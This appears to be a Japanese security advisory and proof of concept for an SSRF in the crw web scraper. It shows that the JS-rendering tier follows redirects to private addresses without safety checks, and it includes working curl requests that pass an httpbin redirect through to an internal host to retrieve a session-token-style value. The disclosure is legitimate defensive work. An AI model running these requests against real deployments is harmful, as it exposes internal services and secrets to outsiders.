crw-PoC — PoC — crw の URL 安全フィルターを JS レンダリング層のバイパス経由で回避する SSRF（GHSA-5jp3-339h-vxqw、CVE-2026-87007、CVSS 7.5）。 | Kitploit

crates/crw-server/src/routes/scrape.rs:29-34(crawl.rs:47/136、map.rs:73/58、extract.rs:178/95、batch.rs:111/102、v2/*、routes/mcp.rs:25 も同様)— JSレンダリングされたリクエストのリクエストライフサイクル全体における唯一のSSRFチェック: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) は、レンダラーが呼び出される前に、呼び出し元のリテラルな url に対して一度だけ実行されます。
crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner の work フューチャーは、生の url をそのままCDPエンドポイントへ Page.navigate で送信します(chrome 層と lightpanda 層の両方で共有 — どちらもこの同じ関数を通じてCDPを話します)。その後Chrome/LightPandaは自身のDNS解決を実行し、サーバーサイドリダイレクト、<meta http-equiv="refresh">、またはJSの location 変更を内部的に追跡します。cdp.rs のどこにも url_safety への呼び出しは存在しません。
crates/crw-renderer/src/blocklist.rs:1-124 — CDPレンダリング中に実行される唯一のリクエストごとの Fetch.requestPaused インターセプションロジック(cdp.rs の930-1002行付近で接続)。これは帯域幅/ノイズの理由のみで広告/トラッカーホストとブロックされたリソースタイプ(画像、フォントなど)をフィルタリングします — リクエストの宛先をプライベート/ループバック/リンクローカル範囲に対してチェックすることは一切ありません。
crates/crw-crawl/src/single.rs:559-569 — ナビゲーション後の final_url が検査される唯一の場所。redirect_is_material() は、data.warnings に見た目上の "redirected_to: <url>" 文字列を付加するかどうかを決定するだけです(northernair.ca を参照するコメントにあるように、「間違ったページを取得した」ことを示すため)— url_safety::validate_safe_url* を呼び出すことはなく、リクエストを失敗させることもありません。
対照的に: crates/crw-renderer/src/http_only.rs:291 — プレーンHTTP(非JS)層は、その reqwest::Client を crw_core::url_safety::safe_redirect_policy() で正しくラップしており、これがすべてのリダイレクトホップを(DNS解決を伴って)再検証します。これこそがCDP層に欠けている保護です。動的に確認済み: renderJs:false を指定した同じPoCリクエストは正しく拒否されます("error following redirect"、ベースラインのスクリーンショットを参照)。

crw/chrome/lightpanda と同じDockerブリッジネットワーク(docker network: source_default)上に、プライベートアドレス 172.19.0.6 で「内部サービス」の代替を立ち上げました — 現実的な内部風のコンテンツ(タイトル「Internal Ops Console」、セッショントークン形式の値)を提供するプレーンなnginxコンテナです。

ベースライン — フィルターが正常に機能することを確認:

curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}

curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}

(スクリーンショット: evidence/ssrf_baseline_blocked.png)

バイパス — 同じリダイレクトで、JSレンダリング層を要求:
```
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
```
結果: HTTP 200、"success":true、"data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — 内部サーバーのコンテンツが呼び出し元に返されます。ツール自身の redirected_to 警告は、ブロックされたアドレスへのリクエストを追跡したことを認識しているにもかかわらず、コンテンツをそのまま返していることを示しています。(スクリーンショット: evidence/ssrf_chrome_tier_bypass.png)
明示的なレンダラーピンなしのデフォルトフォールバックチェーン("renderJs":true" のみ — 呼び出し元がJSレンダリングを要求する通常の方法)でもバイパスが発火することを確認: ラダーは lightpanda を選択し("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}、"renderedWith":"lightpanda")、同じ内部コンテンツを返しました。これは両方のCDP層(chrome だけでなく)がこのギャップを共有していることを証明しています。

研究者	Dostxodjayev Abdullox (@squeeze440)
アドバイザリ	GHSA-5jp3-339h-vxqw
CVSS 3.1	7.5 (High)
脆弱性	CWE-918

crw-PoC

人気

crw: セキュリティアドバイザリ